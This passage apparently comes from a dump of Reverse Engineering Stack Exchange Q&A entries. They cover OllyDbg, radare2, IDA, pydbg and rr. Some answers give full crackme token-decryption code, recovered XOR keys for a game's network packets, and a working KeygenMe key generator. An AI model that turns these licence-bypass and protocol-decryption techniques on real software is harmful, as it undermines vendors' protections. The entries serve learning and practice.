    In Ollydbg's hex dump window (lower left quadrant of CPU window) one can interpret data as structures, you can right-click on one or more bytes and see the options \"Decode as structure\" or \"Decode as pointer to structure\" (if more than one byte selected). It then opens a new window with the data laid out vertically, with each data element shown as a row. You can decode more than one instance.

    \n\n

    However, I'd like to add my own structure types. Imagine I have this structure:

    \n\n
    typedef struct {\n           double x,y,z;   \n           unsigned char id;\n           int label;\n           char *name_string;\n           anotherStructType *struct;       \n           } model_type;\n
    \n\n

    Below are some images showing the steps, with the fixed structure type \"COORD\" chosen. Imagine I want to decode it instead with the above 'model_type' structure type. Perhaps the answer lies in some command line or .ini manual setting?

    \n\n

    Also, it would be nice if this could be used along with labels to identify struct elements in the disassembly window, for example [EAX+1C] could be interpreted as 'player.id' if one could somehow tell Olly EAX is the base pointer. But perhaps I'm getting carried away...

    \n\n

    \"enter

    \n\n

    \"enter \n\"enter

    \n", "Title": "Creating my own custom structure in Ollydbg", "Tags": "|ollydbg|", "Answer": "

    BE AWARE what follows are undocumented stuff

    \n\n

    create a file either named as [binary].arg or common.arg
    \nthe first name is applicable to only to the specific [binary]
    \nthe second name common.arg is applicable globally

    \n\n

    paste this inside the file

    \n\n
    STRUCT _MYSTRUCT\nQWORD DOUBLE x\nQWORD DOUBLE y\nQWORD DOUBLE z\nBYTE  CHAR  id\nDWORD INT label\nDWORD ASCII* name\nDWORD INT* foo\nEND\n
    \n\n

    drop the file in the folder where ollydbg resides.
    \n_MYSTRUCT should be available in the drop down box now

    \n\n

    STRUCT is a keyword
    \nstruct names need a leading underscore
    \nthe members are defined like
    \nFIELDSIZE, TYPENAME , MEMBERNAME

    \n\n

    valid FIELDSIZE are

    \n\n
      \n
    1. BYTE
      2. \n
    2. WORD
      3. \n
    3. THREE
      4. \n
    4. DWORD
      5. \n
    5. QWORD
      6. \n
    6. TBYTE
      7. \n
    \n\n

    that correspond to sizes 1,2,3,4,8,16
    \nTYEPNAMES are vast you should try and err
    \ni have posted some which are common
    \nNotice i have cast Your last Structure as INT* instead of anotherstruct*
    \nfor which you may need to add a custom type in the file
    \nyou can specify a repeat count with asterisk *

    \n\n
    BYTE*48 BYTE somecrap  \n
    \n\n

    somecrap is MemberName a string

    \n\n

    END is a keyword denoting end of structure

    \n\n

    some dummy src that use the structure from your Query compiled executed and \nscreen shot below

    \n\n

    src

    \n\n
    #include <stdio.h>\n#include <windows.h>\n#pragma pack(1)\ntypedef struct _TESTY {\n    int a;\n    int b;\n}Testy,*PTesty;\ntypedef struct _MYSTRUCT {\n    double x,y,z;\n    unsigned char id;\n    int label;\n    char *name;\n    Testy *foo;\n}MyStruct,*PMyStruct;\n\nint main (void) {\n    MyStruct blah;\n    Testy arrgh;\n    char *test = \"hello do i know c ?\";\n    memset(&blah,0,sizeof(blah));\n    blah.x=43.0;\n    blah.y=76.34;\n    blah.z=0.0;\n    blah.id = 'a';\n    blah.label = 54;\n    blah.name = test;\n    arrgh.a =45;\n    arrgh.b =54000;\n    blah.foo = &arrgh;\n    printf(\"%f\\n\",blah.x);\n    printf(\"%s\\n\",blah.name);\n    printf(\"%d\\n\",blah.foo->b);\n    return 0;   \n}\n
    \n\n

    executed

    \n\n
    structy.exe\n43.000000\nhello do i know c ?\n54000 \n
    \n\n

    running with ollydbg

    \n\n
    ollydbg.exe structy.exe \n
    \n\n

    the log windows shows it used the structure definitions we provided by xxxxx.arg

    \n\n
    Log data\nAddress   Message\n          OllyDbg v2.01\n          Command line: structy.exe\n          Loading function descriptions from 'common.arg'\n            2 structures\n            Total size of known data is 1521777 bytes\n
    \n\n

    screen shot \n\"enter

    \n" }, { "Id": "11899", "CreationDate": "2016-01-31T00:22:07.233", "Body": "

    Is there any easy way by using windbg/ollydbg to figure out a memory range or simply an address is DEP-enabled or not?

    \n", "Title": "How to check if a memory range or an address is DEP-enabled or not?", "Tags": "|ollydbg|", "Answer": "

    For your case all \"DEP enabled\" for a process means is that the stack and heap are not writable and executable. By the time you can attach a debugger you just need to check if the stack and heap are ReadWrite or ReadWriteExecute.

    \n\n

    In Windbg you can use either !vprot or !address to get this information. In Olly I believe there's a window under view that will give you a list of the memory regions in a process and their associated protections.

    \n\n

    Additionally you can check the PE header of an executable to see if it supports DEP or not. The mona plugin gives you a quick command to see this, but there are probably others as well.

    \n" }, { "Id": "11914", "CreationDate": "2016-02-02T00:01:04.633", "Body": "

    I'll appreciate if anyone can give me a couple advices regarding kernel debugging/reversing.

    \n\n

    For instance if i want to know how the heap manager works what should i look for ?

    \n\n

    I have no experience in reversing kernels.

    \n", "Title": "Advice about first steps on reversing windows kernel", "Tags": "|windows|kernel-mode|", "Answer": "

    Note that if you're actually interested in the heap manager,\nit's part of the runtime and has nothing to do with kernel\nfunctionality, for instance: HeapAlloc() from kernel32.dll\nforwards to RtlAllocateHeap() from ntdll.dll, you can just open up\nntdll.dll in your favorite framework and start reversing.

    \n" }, { "Id": "11928", "CreationDate": "2016-02-03T07:34:35.640", "Body": "

    EDIT

    \n\n

    As some people have pointed out, this exe file classifies as a 'virus' on some analysers. I can assure you this exe is from a very trusted source, and is actually part of a large puzzle (which contains more questions like this, related to RE, cryptography, etc)

    \n\n

    You are more than welcome to check my stack exchange profile and see I don't really have the \"this guy sends viruses to people and claims its a puzzle\" typecast :-)

    \n\n
    \n\n

    I've been debugging using OllyDbg this exe (original version, a simple puzzle) for a while now, yet I still can't find out what input it expects.

    \n\n

    What it does

    \n\n

    Once executed, it asks you to type in the decrypted token.\nThe program will then tell you if the token is correct or not.

    \n\n

    What I do know:

    \n\n
      \n
    1. The exe calculates the target hash and stores it in memory once you run it (this hash does not change from execution to execution)
      2. \n
    2. It calls IsDebuggerPresent once executed - and alters the above result if so. I patched this on my version of the exe.
      3. \n
    3. It waits for user input
      4. \n
    4. It calculates the hash of the users input (with a salt I think), and compares it to the hash it calculated on step 1
      5. \n
    \n\n

    The target is to find out which input one should give to the exe on step 3

    \n\n

    What I've tried

    \n\n

    Basically, as the hash is a 32 byte string, I thought maybe this is plain MD4/MD5. What I did is to give the program a known plain text - \"1111\", and extract the hash it calculates. I then took the hash and tried to run a MD4/MD5 cracker on it, giving it a known candidate - \"1111\". I had no luck in doing that, which negated the MD4/MD5 thoery (probably?)

    \n\n

    Next steps

    \n\n

    As RE is new to me, the next logical step to do is to try and figure out which string the exe uses to calculate the target hash on step 1. I did find something in the memory while I debugged step 1 -\na string with the value of

    \n\n
    \n

    \"Habh;)86!!'a/$r3})RX;8{>T\"

    \n
    \n\n

    (note the \\t and \\n), but when giving this input to the exe on step 3, the result is incorrect.

    \n\n

    Thoughts would be appreciated!

    \n", "Title": "Extract decrypted token from EXE", "Tags": "|windows|c++|encryption|crackme|hash-functions|", "Answer": "

    The token for this program is 57 characters long, and is encrypted using a 200KB lookup table. The cipher text is embedded in the application as 57 dword indices. Anti-debugging is implemented as a simple check against IsDebuggerAttached, which chooses between 57 good or 57 bad indices.

    \n\n

    When the app starts the token is decrypted and then hashed one character at a time. Rather than reversing or inspecting the hashing, I was interested in the operation of the lookup table.

    \n\n

    The code that indexes the table is run by the application in a separate thread. The thread proc begins at 0x4037A0, however it includes some invalid opcodes to confuse the disassembler. That invalid code is patched up by filling with NOP prior to executing it (see: 0x403998)

    \n\n

    The table lookup function requires 3 index operations to resolve the encoded key character. Each dword index is modulo 0xc800 to ensure it falls within the 200KB table. The final index operation includes an offset based on the parity of the index.

    \n\n

    The C program that corresponds to the table lookup is:

    \n\n
    unsigned int lookup(unsigned char *cipher_table, unsigned int cipher_index)\n{\n    unsigned int parity_check = 0, offset = 0;\n    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));\n    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));\n    if (cipher_index != 0) {\n        parity_check = cipher_index;\n        do {\n            if (!parity(parity_check & 0xFF)) offset = ~offset;\n            parity_check = parity_check >> 8;\n        } while (parity_check > 0);\n    }\n    cipher_index = *((unsigned int *)(cipher_table + (4 * ((cipher_index % 0xc800) + (offset & 1)))));\n\n    return ((~cipher_index & 0xFE000000) | cipher_index & 0x01FFFFFF) ^ 0xFE000000;\n}\n
    \n\n

    The following is a complete key decryption routine in C. It requires the \"1.exe\" binary, because it reads the 200KB lookup table from it.

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\n\nconst unsigned char xor_data[57] = {\n    0xD1, 0x18, 0x52, 0xF3, 0x4B, 0x29, 0xB5, 0xE6,\n    0x2E, 0x60, 0x10, 0x1B, 0x59, 0x3E, 0x4D, 0xC1,\n    0x27, 0xAB, 0xA4, 0x82, 0x7F, 0x5B, 0x07, 0xA4,\n    0xE3, 0x1C, 0xE3, 0x93, 0x74, 0xBB, 0x3A, 0x62,\n    0x39, 0xE0, 0xDE, 0xE3, 0x85, 0x7A, 0x05, 0x29,\n    0x4F, 0xF1, 0x70, 0x1C, 0x70, 0x5E, 0xB3, 0xBF,\n    0x0A, 0x74, 0x97, 0x49, 0xFB, 0xE4, 0xC8, 0xF6,\n    0x5F \n};\n\nconst unsigned int cipher_index[57] = {\n    0xd12479b8, 0x02802dd4, 0x9390b528, 0x6d13be10,\n    0x38637098, 0xadb0df76, 0x492afd8d, 0x6cda8589,\n    0x3f327fb3, 0xb559ed2c, 0x0d379569, 0xee50590a,\n    0xeffc3faf, 0xb183ff7c, 0x4942fe7a, 0x3f9f0383,\n    0xe5e8796e, 0x4acdb7e3, 0x6f7778ac, 0x9cfbd58d,\n    0x5d58a9d4, 0xb53ee0e8, 0x4f0bc8f7, 0x6ddcf35a,\n    0x0b32d6f3, 0xec181a05, 0xebf6aab4, 0x727beb1b,\n    0xd19b1f42, 0x0cd03ae5, 0xc901c555, 0x9e6123ed,\n    0x4805bbd3, 0x0b4e3b5f, 0xe74991a5, 0x16e56a67,\n    0xcdbf9035, 0x0c3fb795, 0x4e46ed21, 0x3098a99c,\n    0x0be2219a, 0x89008aba, 0xd1e8cb77, 0x8d0a0f39,\n    0xbf93eaae, 0xdd1f5179, 0x27aa29da, 0x0687579f,\n    0xe4961b86, 0x00047b96, 0xdf66fc9d, 0xe4ff21b6,\n    0x056c231b, 0xb94a2217, 0x2e385b22, 0xd9315588,\n    0x975aec60\n};\n\nunsigned int lookup(unsigned char *cipher_table, unsigned int cipher_index);\n\nint main()\n{\n    // read lookup table from 1.exe\n    unsigned char *cipher_table = (unsigned char*)malloc(0x32000);\n    if (cipher_table == NULL) {\n        printf(\"Failed to allocate 200K lookup table\\r\\n\");\n        return -1;\n    }\n    FILE *file = NULL;\n    if (fopen_s(&file, \"1.exe\", \"r\") != 0) {\n        printf(\"Failed to open 1.exe\\r\\n\");\n        return -1;\n    }\n    fseek(file, 0x6430, 0);\n    fread(cipher_table, 4, 0xc800, file);\n    fclose(file);\n\n    // Look up 57 key characters via indexes\n    for (int i = 0; i < 57; i++) {\n        char key = (char)((lookup(cipher_table, cipher_index[i]) >> ((i & 3) * 8)) ^ (xor_data[i]));\n        printf(\"%c\", key);\n    }\n    printf(\"\\r\\n\");\n    free(cipher_table);\n\n    return 0;\n}\n\n// true = even; false=odd\nbool parity(unsigned char check)\n{\n    check = (check & 0x55) + ((check >> 1) & 0x55);\n    check = (check & 0x33) + ((check >> 2) & 0x33);\n\n    return (((check & 0x0F) + ((check >> 4) & 0x0F)) % 2);\n}\n\nunsigned int lookup(unsigned char *cipher_table, unsigned int cipher_index)\n{\n    unsigned int parity_check = 0, offset = 0;\n    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));\n    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));\n    if (cipher_index != 0) {\n        parity_check = cipher_index;\n        do {\n            if (!parity(parity_check & 0xFF)) offset = ~offset;\n            parity_check = parity_check >> 8;\n        } while (parity_check > 0);\n    }\n    cipher_index = *((unsigned int *)(cipher_table + (4 * ((cipher_index % 0xc800) + (offset & 1)))));\n\n    return ((~cipher_index & 0xFE000000) | cipher_index & 0x01FFFFFF) ^ 0xFE000000;\n}\n
    \n\n

    The token is (spoiler):

    \n\n
    \n

    <****TKN!34C38983E67F17EE146C25B8838E428D8B0AE58!TKN****>

    \n
    \n" }, { "Id": "11942", "CreationDate": "2016-02-04T08:13:49.787", "Body": "

    I have found the command r2 -c 'pi $s' to dump a binary with radare2. I have tried this redirecting the output to a file: r2 -c 'pi $s' binary > dump.txt. The dump is created but radare2 gets unresponsive. Is this a bug, or am I doing something wrong?

    \n", "Title": "Dumping binary with radare2", "Tags": "|radare2|", "Answer": "

    This is because you're not passing the -q flag to radare2:

    \n\n
    $ r2 -h | grep -- -q\n-q           quiet mode (no prompt) and quit after -i\n
    \n\n

    The -c flag will execute a command in radare2, and then land you in the radare shell, but since you're redirecting stdout to a file, you can't see this. But if you hit q (as in quit) and Enter, radare2 will exit.

    \n\n

    This is the command that you should use: r2 -q -c 'pi $s' ./a.out > out.txt if you want radare2 to dump the entire binary, then exit.

    \n" }, { "Id": "11950", "CreationDate": "2016-02-04T21:48:52.150", "Body": "

    Is there any way to add instructions to a library in IDA? My predicament is that there is no room in a game library (.so ELF, android) to fit my own code. There is an empty bss segment but IDA doesn't like to write to it, and I believe the game needs it for it's variables.

    \n\n

    I've tried adding additional bytes to the end of the file with a hex editor, and then opening it with IDA, but IDA will not show it possibly because it's not in a segment.

    \n\n

    Can I make my own library / modify the existing one so that the code segment is larger? My own library would need to be imported by the other library in order to work, I believe, because it needs functions and such from the original library.

    \n\n

    Thanks.

    \n", "Title": "Adding/Finding Places for Instructions - Game Library IDA", "Tags": "|ida|assembly|android|arm|", "Answer": "

    IDA not the most convenient tool for what you're trying to do. There are basically 3 ways to do it, and it seems you're already mentioning all of them in your question :

    \n\n\n\n

    Now depending on what exactly you're trying to inject and how you're reaching it, each method has its specific pro/cons and will require a different approach. They should all be fairly well documented on the Internet.

    \n\n

    (Without more context/details about what you're trying to do, it's hard to tell you which one to pick though)

    \n" }, { "Id": "11954", "CreationDate": "2016-02-05T21:54:51.707", "Body": "

    In Ollydbg, if an instruction causes a register to change, it is highlighted red in the registers window in the CPU view.

    \n\n

    Is it possible to have the same happen in the hex dump or stack windows? Of course the area of memory being watched would have to have limits, perhaps only what is seen, or between some limits?

    \n", "Title": "Can changes in memory (stack or hex dump) be highlighted as are register changes in Ollydbg?", "Tags": "|ollydbg|", "Answer": "

    yes it is possible to but you have to set the dump characteristics manually
    \nsuppose you are on an instruction push 58
    \nthis instruction will modify the stack \nso select esp from the registers pane rightclick->and follow in dump
    \nselect some bytes and press ctrl+e
    \nmodify some bytes in the selection
    \nand reset it back to original bytes with alt+backspace
    \nnow if you execute push 58 the dump at position esp-4 will be highlighted in red

    \n\n

    \"enter

    \n" }, { "Id": "11961", "CreationDate": "2016-02-07T04:34:08.837", "Body": "

    How do I compare in IDA PRO if constants are located in the same functions or not.. like filter from all constants if I search for 2 constants or more I want to know which function(s) contain all the constants I want to search for, to eliminate searching through all constants with other constants to find matching functions.. (this is how I do it now it's very pain staking)

    \n\n

    Constants window looks like this
    \n\"constants\"\"constants2\"\n
    \nHow I do I mark red lines for bad addresses and blue ones for good ones haha\n
    \n\"how

    \n\n



    \nIs there any script or even better a plugin that does this job easier for me?

    \n", "Title": "Ida Pro compare constants in same function or not", "Tags": "|ida|functions|script|compare|", "Answer": "

    IDAPython is the way to go when you want to do such things. I'd say something like that should work:

    \n\n
    CONST_1 = \"1234h\"\nCONST_2 = \"ABCDh\"\nfor func in Functions():\n    got_first, got_second = False, False\n    func_start = GetFunctionAttr(func,FUNCATTR_START)\n    func_end = GetFunctionAttr(func,FUNCATTR_END)\n    for ea in Heads(func_start, func_end):\n        cur_line = GetDisasm(ea)\n        got_first |= CONST_1 in cur_line\n        got_second |= CONST_2 in cur_line\n        if got_first and got_second:\n            print \"Found a match at 0x{:08x}\".format(func_start)\n            break\n
    \n\n

    If your binary is really big and it's taking too long, you might think about optimizing the comparaison with operands.

    \n" }, { "Id": "11963", "CreationDate": "2016-02-07T13:53:20.070", "Body": "

    In pydbg, is it possible to set a register without having it hit a break point first? Consider the following example break point handler:

    \n\n
    def handler_breakpoint(mdbg):\n  print \"[+]Hit breakpoint\"\n  mdbg.set_register(\"EIP\", 0)\n  return DBG_CONTINUE\n
    \n\n

    This code works, but if I call mdbg.set_register(\"EIP\", 0) (Note, outside the handler it would be dbg.set_register(\"EIP\", 0)) from outside a break point handler it returns pdx: [6] GetThreadContext(): The handle is invalid. How could I write this?

    \n", "Title": "Pydbg setting registers without breakpoint?", "Tags": "|python|thread|register|", "Answer": "

    changing the registers without an event is fundamentally not possible rethink and reformulate your query

    \n\n

    if you do not want to do it in break-point handler of any debugger you must suspend the process , Get the Thread's context and Set the thread's context and Resume the process

    \n\n

    pydbg can do all this iirc in the script body out of break-point handler

    \n\n

    EDIT Added a Sample Script

    \n\n
    from pydbg import *\nfrom pydbg.defines import *\ndef handler_breakpoint (pydbg):\n    if pydbg.first_breakpoint:\n        return DBG_CONTINUE\ndef handler_access_violation (pydbg):\n    if pydbg.dbg.u.Exception.dwFirstChance:\n        print \"crashed and land here on FirstChance\"\n    else:\n        print \"crashed and land here on SecondChancee\"\n    return DBG_EXCEPTION_NOT_HANDLED\n\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.set_callback(EXCEPTION_ACCESS_VIOLATION, handler_access_violation)\ndbg.load(\"c:\\windows\\system32\\calc.exe\")\nprint \"pid of calc.exe is = %d\" % dbg.pid\ndbg.suspend_all_threads()\nfor thread_id in dbg.enumerate_threads():\n    thread_handle  = dbg.open_thread(thread_id)\n    thread_context = dbg.get_thread_context(thread_handle)\n    print \"eax = 0x%08x\" % thread_context.Eax\n    thread_context.Eax=0xdeadbeef\n    dbg.set_thread_context(thread_context,0,thread_id)\n    thread_context = dbg.get_thread_context(thread_handle)\n    print \"new eax = 0x%08x\" % thread_context.Eax\n    print \"yay we are going to crash now accessing random crap in eax\"  \ndbg.resume_all_threads()\npydbg.debug_event_loop(dbg)\n
    \n\n

    executed

    \n\n
    :\\>python changereg.py\npid of calc.exe is = 1940\neax = 0x00b52d6c\nnew eax = 0xdeadbeef\nyay we are going to crash now accessing random crap in eax\ncrashed and land here on FirstChance\ncrashed and land here on SecondChancee\n
    \n" }, { "Id": "11964", "CreationDate": "2016-02-07T15:23:29.857", "Body": "

    Dear ReverseEngineering@SE,

    \n\n

    Background information:\nI have reason to believe that an old game I've played is still using their XOR encryption for nearly all in/out-going packets. I also believe that the key used in the encryption scheme remains static when I analyze the packet data, at least the frequency of certain values indicate so.

    \n\n

    I know for a fact that previous keys has been 9-byte ASCII keys of length

    \n\n

    Problem:\nI am not able to decrypt the packages. I've tried just directly looping the key, XOR'ing the data that is contained in the TCP packages and also tried the following C# function for XOR cryptography (See appendix).

    \n\n

    Assuming Vigenere cipher is to be used as basis the previous keys suggest that the length might be 9 characters long.

    \n\n

    I do have complete control of what the plaintext (ASCII in this case) of decrypted packages are gonna contain since I can use the chat functionality in the game. Thus I have tried sending the same message and observed the data difference within Wireshark as seen here:

    \n\n

    Plaintext as sent in game:

    \n\n
    \n

    TestingTheKeyTestingTheKeyTestingTheKeyTestingTheKey

    \n
    \n\n

    In the following snapshots are three packets of the same message. Notice how the length remains the same, further indicating a static key length:

    \n\n

    Overview (3 dots indicating data traffic)

    \n\n

    Data side-by-side (Non-header data highlighted)

    \n\n

    And finally: Hex dumps of the same packets. (See appendix)

    \n\n

    I'm rather new to cryptography but find the field very interesting and hope that a kind spirit is willing to provide some assistance. Anything is appreciated.

    \n\n

    Thank you.

    \n\n

    Appendix code\nhttp://pastebin.com/F0py05Lz

    \n\n

    Hex dump (due to low rep)

    \n\n
    0000   aa 00 41 0e ad ce ff ce f0 ef e9 a0 f1 f8 9b a2\n0010   fe df f8 e5 9c fb ed b8 a0 f6 f0 ca f7 ae d6 f8\n0020   b4 9c fc e5 eb f7 a4 fb c8 a2 aa d5 f4 e1 cd a8\n0030   e8 ef a2 a0 f8 c4 f1 fd 87 ff e3 c8 c3 e2 99 42\n0040   de 51 ef 2b\n\n0000   aa 00 41 0e ae 9a a8 ca f2 eb bf a3 a1 aa cf f5\n0010   fa dd fc b3 9f ab bf ec f7 f2 f2 ce a1 ad 86 aa\n0020   e0 cb f8 e7 ef a1 a7 ab 9a f6 fd d1 f6 e5 9b ab\n0030   b8 bd f6 f7 fc c6 f5 ab 84 af b1 9c 94 d9 fd 32\n0040   91 07 59 ba\n\n0000   aa 00 41 0e af 9b fe 9a f9 e8 e3 f1 f2 a9 ce a3\n0010   aa d6 ff ef cd f8 bc ed a1 a2 f9 cd fd ff d5 a9\n0020   e1 9d a8 ec ec fd f5 f8 99 f7 ab 81 fd e6 c7 f9\n0030   eb be f7 a1 ac cd f6 f7 d6 fc b2 9d c2 3f 2d 7a\n0040   bd f6 42 d6\n
    \n", "Title": "XOR Encryption (XPost from Crypto)", "Tags": "|xor|", "Answer": "

    The keys for your three messages appear to be cf7810d22, 42096edac and 4ea34873a respectively. (Note: those are 9-byte ASCII text strings, not hex numbers, even though clearly all the characters appear to be hex digits!)

    \n\n
    \n\n

    OK, so how did I figure that out?

    \n\n

    First, before even looking at the code you posted, I just took the messages from your hex dump, converted them back into binary (using a quick Perl script), and XORed them together. The resulting XORed messages look like this:

    \n\n
    $ perl -0777 -E '$a = <>; $b = <>; print $a ^ $b' packet1.dat packet2.dat | xxd\n0000000: 0000 0000 0354 5704 0204 5603 5052 5457  .....TW...V.PRTW\n0000010: 0402 0456 0350 5254 5704 0204 5603 5052  ...V.PRTW...V.PR\n0000020: 5457 0402 0456 0350 5254 5704 0204 5603  TW...V.PRTW...V.\n0000030: 5052 5457 0402 0456 0350 5254 573b 6470  PRTW...V.PRTW;dp\n0000040: 4f56 b691                                OV..\n
    \n\n

    XORing the ciphertexts together like this cancels out the plaintext (assuming that it's the same in both messages), leaving just the XOR of the keys. We can see that there's a clear repeating 9-byte pattern in the XORed data, strongly suggesting that the messages have indeed been encrypted with a repeating 9-byte key.

    \n\n

    Now, if that was all, we could find the key simply by taking the known plaintext string TestingTheKeyTestingTheKeyTestingTheKeyTestingTheKey, XORing it with the ciphertext at different positions (since I didn't know exactly where the known plaintext would occur in the encrypted message), and looking for a result that looks like a plausible key. In crypto jargon, this method is known as crib dragging, a term that dates back at least to Bletchley Park during WWII.

    \n\n

    Alas, when I tried that, it didn't yield anything that looked anything like a repeating 9-byte text string, as I expected the key to be. In fact, there were hardly any printable ASCII characters in the output at all. Looking more closely at the ciphertext, I noticed that most of its bytes had the high bit set, something that can't happen when you XOR two ASCII characters together. So clearly there had to be something else going on, too.

    \n\n

    At that point, I took a closer look at your (presumably previously reverse-engineered) decryption code, and realized that it actually XORed the message with three different byte streams:

    \n\n
      \n
    1. the repeating 9-byte key (applied starting from the sixth byte),
      2. \n
    2. the fifth byte of the ciphertext (Incrementor, presumably some kind of a message counter; this is what caused the high bits of each byte to be set, since in your messages it had values from 0xAD to 0xAF), applied to every following byte, and
      3. \n
    3. a byte value (KeyVal) that starts at zero and is incremented by one every time the key repeats, i.e. every ninth byte after the sixth.
      4. \n
    \n\n

    (The code also skips step 3 if KeyVal equals Incrementor, presumably to prevent the last two steps from canceling each other out. That little quirk actually has little if any cryptographic significance, and in any case, it will never happen for these short messages with high Incrementor values.)

    \n\n

    Now, conveniently, the XOR operation, like addition, is commutative and associative — that is, if you XOR two or more bytes together, it doesn't matter which order you do it in: (A XOR B) XOR C == A XOR (B XOR C) == A XOR (C XOR B) == (A XOR C) XOR B == .... Thus, since I knew the Incrementor value for each message (since it's given in the encrypted message) and had a pretty solid guess for the repeating key length (which let me calculate KeyVal for each byte), I could just XOR each encrypted byte with those two values, leaving me with just the plaintext XORed with the repeating key.

    \n\n

    After that, it was easy enough to discover by crib-dragging that the known plaintext string actually starts two bytes after the beginning of the encrypted portion (and so seven bytes after the beginning of the whole message), and obtain the 9-byte key for each message.

    \n\n

    (What I can't tell from just your three sample messages is how those 9-byte key strings actually are generated, or how the game knows which key string to XOR a given message with. For that, you may need to analyze more message packets and see if you can find any kind of pattern to the keys.)

    \n" }, { "Id": "11969", "CreationDate": "2016-02-08T16:23:03.903", "Body": "

    I'm trying to get into reverse engineering and am beginning with .NET, attempting various CrackMes and KeygenMes that I've found on the internet. Until now, I haven't really struggled but this latest one is driving me mad:

    \n\n

    https://tuts4you.com/download.php?view.1894

    \n\n

    VT link if needed: https://www.virustotal.com/en/file/9bd07d7cbd053f6ad27792487679b18b2f72b589440d8ab81f9cdc4d84301178/analysis/1454947890/

    \n\n

    Decompiling with ILSpy reveals the license check performed:

    \n\n
        FileStream fileStream = new FileStream(\"key.dat\", FileMode.Open, FileAccess.Read);\n    StreamReader streamReader = new StreamReader(fileStream);\n    string text = streamReader.ReadToEnd();\n    byte[] bytes = Encoding.Unicode.GetBytes(this.TextBox1.Text);\n    SHA512 sHA = new SHA512Managed();\n    sHA.ComputeHash(bytes);\n    if (Operators.ConditionalCompareObjectEqual(this.CodeCrypt(text), Convert.ToBase64String(sHA.Hash), true))\n    {\n        Interaction.MsgBox(\"Good job, make a keymaker\", MsgBoxStyle.Information, \"Done\");\n    }\n    else\n    {\n        Interaction.MsgBox(\"Try again, it is very simple\", MsgBoxStyle.Critical, \"No ....\");\n    }\n    streamReader.Close();\n    fileStream.Close();\n
    \n\n

    Here is the CodeCrypt method:

    \n\n
    Key = \"AoRE\";\npublic string CodeCrypt(string text)\n{\n    string text2 = \"\";\n    int arg_0F_0 = 1;\n    int num = Strings.Len(text);\n    checked\n    {\n        for (int i = arg_0F_0; i <= num; i++)\n        {\n            int num2 = i % Strings.Len(this.Key);\n            if (num2 == 0)\n            {\n                num2 = Strings.Len(this.Key);\n            }\n            text2 += Conversions.ToString(Strings.Chr(Strings.Asc(Strings.Mid(this.Key, num2, 1)) ^ Strings.Asc(Strings.Mid(text, i, 1)) - 6));\n        }\n        return text2;\n    }\n}\n
    \n\n

    Seemed quite straight forward to reverse, so I generated my own key generation method:

    \n\n
        private static string Key(string name)\n    {\n        string key = \"\";\n\n        SHA512 sHA = new SHA512Managed();\n        string hash = Convert.ToBase64String(sHA.ComputeHash(Encoding.Unicode.GetBytes(name)));\n\n\n        for (int i = 1; i <= hash.Length; i++)\n        {\n            int num2 = i % 4;\n            if (num2 == 0)\n            {\n                num2 = 4;\n            }\n            var test = Convert.ToChar((\"AoRE\"[num2 - 1] ^ hash[i - 1]) + 6);\n            key += test;\n        }\n        return key;\n\n    }\n
    \n\n

    Then I wrote my license:

    \n\n
     using (StreamWriter sw = new StreamWriter(File.Open(\"key.dat\", FileMode.Create), Encoding.Unicode))\n        sw.Write(Key(\"Tom\"));\n
    \n\n

    But it fails. I set a breakpoint to see what the output from CodeCrypt() and the SHA512 hash was, and saw this:

    \n\n

    CodeCrypt: 8dmVQYHqap7MbFngePjLSxvaC9kVgaDiyR2p550IFO2kzGAuC9yWufBs5LZGbKeR/KAFGVTBb47z4sa686eBTA==\nSHA512: 8dmVQYHqap7MbFngePjLSxvaC9/VgaDiyR2p550IFO2kzGAuC9yWufBs5LZGbKeR/KAFGVTBb47z4sa686eBTA==

    \n\n

    The 27th character differs in these outputs and I just don't understand why. What am I missing here?

    \n\n

    Thanks in advance.

    \n", "Title": "KeygenMe - My output has one wrong character", "Tags": "|decompilation|", "Answer": "

    Your algorithm calculates the correct byte for each character of the base64 encoded hash, however your implementation of that byte's string encoding is not correct.

    \n\n

    Convert.ToChar() simply casts the byte to a char.

    \n\n

    VB's Strings.Chr() converts the byte to unicode, using the system's current default code page. This is most likely Windows-1252 for US/Western Europe.

    \n\n

    For bytes 0x00-0x7F, UTF-8 and Windows-1252 have the same binary representation. But things are different for bytes 0x80-0xFF, and it just so happens that the / character is the only character XOR'd to a value greater than 0x7F (it's 0x83).

    \n\n

    In Windows-1252, 0x80-0xFF represent single-byte extended characters.\nIn UTF-8, these extended characters require two bytes of storage: 0x01 0x92.

    \n\n

    This means that the crackme is buggy, because the license file depends on the system's character encoding (which could change). The license file should have used unicode consistently.

    \n\n

    To fix your code, replace Convert.ToChar() with Encoding.Default.GetString()

    \n\n
    var test = Encoding.Default.GetString(\n               new[] { (byte)((\"AoRE\"[num2 - 1] ^ hash[i - 1]) + 6) });\n
    \n\n

    Edited to add

    \n\n

    One thing I want to point out is that a char in C# is 2 bytes and stores a 16-bit unicode character (unlike C where a char is 1 byte). This is why casting and using the default encoding are different operations.

    \n" }, { "Id": "11974", "CreationDate": "2016-02-09T11:44:33.917", "Body": "

    I'm after a very simple example log file with corresponding code, that expresses exactly what would need to be recorded to enable deterministic replay - for the purpose of record/replay debugging.

    \n\n

    Thanks.

    \n", "Title": "Very simple example log file - Recording program execution", "Tags": "|debugging|", "Answer": "

    I'm not quite sure what you're after \u2013\u00a0the minimum you need to record for a given program to have a deterministic replay isn't well defined. In general, you choose some API boundary \u2013 for example, the system call interface, or some set of library calls, or even the interface between the OS and hardware \u2013\u00a0and then record there. Which API boundary you choose to record at will mean you have to record more or less information in order to guarantee deterministic replay; the question of how to find the API boundary that requires the least amount of storage has been explored in the paper Language-Based Replay via Data Flow Cut.

    \n\n

    But perhaps you're after something more practical \u2013\u00a0an example of a simple program and its corresponding record/replay log. This is something you can get very easily with e.g. Mozilla's rr. Suppose we have the following simple program:

    \n\n
    #include <stdio.h>\n\nint main(int argc, char **argv) {\n    printf(\"Hello world: %s\\n\", argv[1]);\n    return 0;\n}  \n
    \n\n

    We can then record it under rr:

    \n\n
    $ git/rr/bin/rr record ./hello foo\nrr: Saving the execution of `./hello' to trace directory `/home/moyix/.rr/hello-1'.\nHello world: foo\n
    \n\n

    And then you can see the information that rr captured using rr dump; a selection of that looks like:

    \n\n
